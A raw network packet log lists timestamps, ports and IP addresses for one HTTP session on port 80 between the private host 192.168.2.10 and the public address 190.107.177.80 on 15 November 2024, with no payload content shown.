Nov 15, 2024 09:10:06.753045082 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.756814003 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.756858110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.756870031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.756916046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.756954908 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.756954908 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.756972075 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.756982088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.757040024 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.757050037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.757060051 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.757097006 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.757110119 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794292927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794333935 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794341087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.794368982 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794380903 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794390917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794414043 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.794419050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794456959 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.794516087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794563055 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794574022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794586897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.794598103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794636011 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.794787884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.794831038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.795093060 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.826109886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826122046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826134920 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826164961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826184988 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.826184988 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.826206923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826404095 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826412916 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.826432943 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826625109 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.826772928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826936960 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.826975107 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.828908920 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829221964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829303026 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829406977 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829425097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829436064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829454899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829473019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829484940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829493999 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829493999 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829504967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829516888 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829528093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829540014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829549074 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829549074 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829560041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829571009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829581022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829592943 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829602003 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829602003 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829624891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829638004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829648018 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829660892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829669952 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829669952 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829682112 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829699039 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829708099 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829713106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829720020 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829725027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829726934 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829729080 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829729080 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829739094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829751015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.829780102 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.829780102 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.833766937 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.833803892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.833815098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.833858013 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.833858013 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.834008932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834018946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834031105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834063053 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.834108114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834120035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834131002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834142923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.834279060 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.834291935 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834337950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834351063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834384918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834422112 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.834422112 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.834619045 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834640980 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834647894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834702969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834716082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834726095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.834783077 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.834803104 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834815025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.834856033 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.876817942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.876975060 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.876991987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.877002001 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.877011061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.877051115 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.880563974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.880639076 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.880733013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.880743027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.880764961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.880774975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.880785942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.880795956 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.880805969 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.880999088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.881012917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.881022930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.881032944 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.881077051 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.918015003 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.918021917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.918028116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.918034077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.918101072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.918111086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.918111086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.918126106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.918133020 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.918203115 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.919281006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.919292927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.919336081 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.919415951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.919426918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.919617891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.949827909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.949841022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.949852943 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.949863911 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.949994087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950068951 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.950068951 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.950228930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950239897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950259924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950320005 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.950366974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950378895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950393915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950400114 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.950411081 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950428963 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950442076 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950453043 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950481892 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.950481892 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.950541019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950710058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950721979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950737000 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.950746059 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.950773954 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.951055050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951263905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951275110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951286077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951308966 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.951355934 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.951422930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951433897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951445103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951484919 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951515913 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.951515913 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.951678991 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951690912 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951703072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951750994 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.951848984 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951860905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951870918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951915026 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.951915026 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.951936960 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951947927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951961040 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951972008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951983929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.951996088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.952006102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.952013969 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.952013969 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.952097893 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.957547903 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957559109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957578897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957592010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957616091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957627058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957634926 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.957664967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957675934 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.957691908 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957709074 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.957716942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957734108 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957746029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957756996 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.957767963 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957781076 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957802057 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.957844019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957855940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957879066 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.957890987 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.957911968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957932949 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957942963 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.957972050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.958043098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.958084106 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.958106995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.958120108 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.958151102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.958159924 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.958283901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.958293915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.958327055 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.000072002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.000113010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.000122070 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.000137091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.000188112 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.003983974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.004031897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.004043102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.004066944 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.004098892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.004173040 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.004180908 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.004190922 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.004204035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.004218102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.004246950 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.004466057 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.041079044 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041111946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041125059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041147947 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.041198969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041238070 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.041270018 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041280985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041301966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041318893 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.041378975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041390896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041410923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.041430950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.041517973 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.072871923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.072884083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.072896004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.072932005 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.072946072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.072954893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.072988987 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073105097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073127985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073143005 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073151112 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073174000 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073201895 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073245049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073256969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073295116 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073303938 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073316097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073334932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073416948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073427916 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073438883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073450089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073458910 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073554039 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073565006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073585987 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073585987 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073796034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073829889 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073874950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073884010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073919058 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.073939085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073951006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.073981047 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.074002028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074012995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074043036 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.074196100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074242115 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074251890 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074280024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.074314117 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074327946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074357986 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.074384928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074397087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074407101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074415922 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.074465990 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.074594975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074657917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074670076 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074698925 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.074774027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074784994 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074795961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074806929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074819088 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.074846029 CET	49705	80	192.168.2.10	190.107.177.80
